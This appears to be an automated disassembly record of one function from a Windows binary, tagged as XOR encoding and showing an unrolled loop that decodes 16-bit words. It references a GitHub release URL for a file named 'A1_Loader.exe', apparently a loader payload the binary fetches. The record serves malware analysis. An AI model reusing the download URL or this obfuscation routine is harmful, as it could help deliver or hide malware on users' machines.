Function at 0x140031450
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xa8
movzx edx, word [rcx]
lea rax, [0x140137de6]
sub rax, rcx
lea r9, str.https:__github.com_IkanaideCYKAZ_1k1n_14_releases_download_A1_Loader.exe
mov qword [rsp + 0xf0], rax
lea r10, [0x140137dd2]
lea rax, [0x140137de8]
sub r9, rcx
sub rax, rcx
lea r11, [0x140137dd4]
mov qword [rsp + 0x100], rax
lea rbx, [0x140137dd6]
lea rax, [0x140137dea]
sub r10, rcx
sub rax, rcx
lea rdi, [0x140137dd8]
mov qword [rsp + 0x108], rax
lea rsi, [0x140137dda]
lea rax, [0x140137dec]
sub r11, rcx
sub rax, rcx
lea rbp, [0x140137ddc]
mov qword [rsp], rax
lea r14, [0x140137dde]
lea rax, [0x140137dee]
sub rbx, rcx
sub rax, rcx
lea r15, [0x140137de0]
mov qword [rsp + 8], rax
lea r12, [0x140137de2]
lea rax, [0x140137df0]
sub rdi, rcx
sub rax, rcx
lea r13, [0x140137de4]
mov qword [rsp + 0x10], rax
lea r8, [rcx + 6]
lea rax, [0x140137df2]
sub rsi, rcx
sub rax, rcx
sub rbp, rcx
mov qword [rsp + 0x18], rax
sub r14, rcx
lea rax, [0x140137df4]
sub r15, rcx
sub rax, rcx
sub r12, rcx
mov qword [rsp + 0x20], rax
sub r13, rcx
lea rax, [0x140137df6]
sub rax, rcx
mov qword [rsp + 0x28], rax
lea rax, [0x140137df8]
sub rax, rcx
mov qword [rsp + 0x30], rax
lea rax, [0x140137dfa]
sub rax, rcx
mov qword [rsp + 0x38], rax
lea rax, [0x140137dfc]
sub rax, rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140137dfe]
sub rax, rcx
mov qword [rsp + 0x48], rax
lea rax, [0x140137e00]
sub rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [0x140137e02]
sub rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [0x140137e04]
sub rax, rcx
mov qword [rsp + 0x60], rax
lea rax, [0x140137e06]
sub rax, rcx
mov qword [rsp + 0x68], rax
lea rax, [0x140137e08]
sub rax, rcx
mov qword [rsp + 0x70], rax
lea rax, [0x140137e0a]
sub rax, rcx
mov qword [rsp + 0x78], rax
lea rax, [0x140137e0c]
mov qword [rsp + 0xf8], 2
sub rax, rcx
mov qword [rsp + 0x80], rax
lea rax, [0x140137e0e]
sub rax, rcx
mov qword [rsp + 0x88], rax
lea rax, [0x140137e10]
sub rax, rcx
mov qword [rsp + 0x90], rax
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r8 + r9 - 6]
xor ax, word [rcx + 2]
xor dx, ax
mov rax, qword [rsp + 0xf0]
mov word [r8 - 2], dx
xor dx, word [r8 + r10 - 6]
mov word [r8], dx
xor dx, word [r8 + r11 - 6]
mov word [r8 + 2], dx
xor dx, word [r8 + r9]
mov word [r8 + 4], dx
xor dx, word [r8 + r10]
mov word [r8 + 6], dx
xor dx, word [r8 + r11]
mov word [r8 + 8], dx
xor dx, word [r8 + rbx]
mov word [r8 + 0xa], dx
xor dx, word [r8 + rdi]
mov word [r8 + 0xc], dx
xor dx, word [r8 + rsi]
mov word [r8 + 0xe], dx
xor dx, word [r8 + rbp]
mov word [r8 + 0x10], dx
xor dx, word [r14 + r8]
mov word [r8 + 0x12], dx
xor dx, word [r15 + r8]
mov word [r8 + 0x14], dx
xor dx, word [r12 + r8]
mov word [r8 + 0x16], dx
xor dx, word [r8 + r13]
mov word [r8 + 0x18], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x100]
mov word [r8 + 0x1a], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x108]
mov word [r8 + 0x1c], dx
xor dx, word [rax + r8]
mov rax, qword [rsp]
mov word [r8 + 0x1e], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 8]
mov word [r8 + 0x20], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x10]
mov word [r8 + 0x22], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x18]
mov word [r8 + 0x24], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x20]
mov word [r8 + 0x26], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x28]
mov word [r8 + 0x28], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x30]
mov word [r8 + 0x2a], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x38]
mov word [r8 + 0x2c], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x40]
mov word [r8 + 0x2e], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x48]
mov word [r8 + 0x30], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x50]
mov word [r8 + 0x32], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x58]
mov word [r8 + 0x34], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x60]
mov word [r8 + 0x36], dx
xor dx, word [rax + r8]
mov rax, qword [rsp + 0x68]
mov word [r8 + 0x38], dx
xor dx, word [rax + r8]
mov word [r8 + 0x3a], dx
mov rax, qword [rsp + 0x70]
lea r8, [r8 + 0x48]
xor dx, word [rax + r8 - 0x48]
mov rax, qword [rsp + 0x78]
mov word [r8 - 0xc], dx
xor dx, word [rax + r8 - 0x48]
mov rax, qword [rsp + 0x80]
mov word [r8 - 0xa], dx
xor dx, word [rax + r8 - 0x48]
mov rax, qword [rsp + 0x88]
mov word [r8 - 8], dx
xor dx, word [rax + r8 - 0x48]
mov rax, qword [rsp + 0x90]
mov word [r8 - 6], dx
xor dx, word [rax + r8 - 0x48]
mov word [r8 - 4], dx
xor dx, word [rcx + 2]
sub qword [rsp + 0xf8], 1
jne 0x140031650
xor eax, eax
mov word [rcx + 0x94], ax
add rsp, 0xa8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret